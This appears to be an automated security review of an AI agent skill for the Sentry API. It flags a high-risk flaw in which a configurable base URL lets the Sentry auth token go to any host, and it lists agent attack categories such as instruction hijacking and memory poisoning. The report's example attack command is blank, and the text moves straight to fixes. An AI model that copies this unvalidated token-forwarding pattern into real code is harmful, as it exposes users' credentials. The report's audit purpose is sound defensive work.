Security checks for vulnerabilities and agentic risk
Overview
The skill appears to do what it says, but a configurable Sentry server URL could send the Sentry token to an arbitrary host if misconfigured or influenced.
Install only if you trust the configured Sentry endpoint. Use a narrowly scoped read-only token, avoid --no-redact in shared logs, and do not set SENTRY_BASE_URL or --base-url to anything except a trusted HTTPS Sentry host.
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)
T09 · Insecure Skill Coding Practices
Error
Location
scripts/sentry_api.py:159
Finding
Unrestricted API Base URL Can Disclose the Sentry Authentication Token
Content
View full analysis
Vulnerability Details
File Location: scripts/sentry_api.py, lines 53–54, 159–163, and 206–210 Vulnerability Type: Bearer-token disclosure through an unrestricted network destination Risk Level: High
parser.add_argument(
"--base-url",
default=os.environ.get("SENTRY_BASE_URL", DEFAULT_BASE_URL),
help="Sentry base URL (default: https://sentry.io)",
)
python
token = os.environ.get("SENTRY_AUTH_TOKEN")
if not token:
raise RuntimeError("Missing SENTRY_AUTH_TOKEN env var.")
base_url = args.base_url
Technical Analysis
The script obtains SENTRY_AUTH_TOKEN from the environment and unconditionally places it in the Authorization: Bearer header of requests constructed from the configured base URL. The base URL is accepted from either the --base-url command-line option or the SENTRY_BASE_URL environment variable without validating its scheme or hostname.
Consequently, the destination may be an arbitrary attacker-controlled server. The script also does not require HTTPS, so a URL using plaintext HTTP can expose the token to network observers. Supporting self-hosted Sentry is legitimate, but unrestricted destination selection is broader than the minimum privilege required and lacks a trust boundary around credential transmission.
Attack Path
An attacker or compromised execution environment influences the command arguments or environment variables used to invoke the Skill.
The attacker sets an arbitrary endpoint, for example:
bash
Require https for all authenticated endpoints. Reject http, missing schemes, local file schemes, and any non-HTTP(S) scheme.
Permit sentry.io by default and require self-hosted destinations to be explicitly included in a trusted-host allowlist.
Parse and canonicalize URLs with urllib.parse.urlsplit; reject embedded credentials, unexpected ports, fragments, and malformed hostnames.
Ensure redirects cannot forward the Authorization header to a different origin. Either disable redirects or validate every redirect target and rebuild authenticated requests only when the scheme, hostname, and effective port remain trusted.
Treat environment-provided configuration as untrusted input. Do not infer that SENTRY_BASE_URL is safe merely because it originates from the environment.
Display the normalized destination before the first authenticated request when a non-default self-hosted endpoint is used, and require explicit trusted configuration rather than silently accepting it.
Document that the authentication token is transmitted to the configured self-hosted server and recommend narrowly scoped, read-only, short-lived tokens.
Add automated tests confirming rejection of plaintext HTTP, arbitrary external hosts, credential-bearing URLs, malformed URLs, and cross-origin redirects.
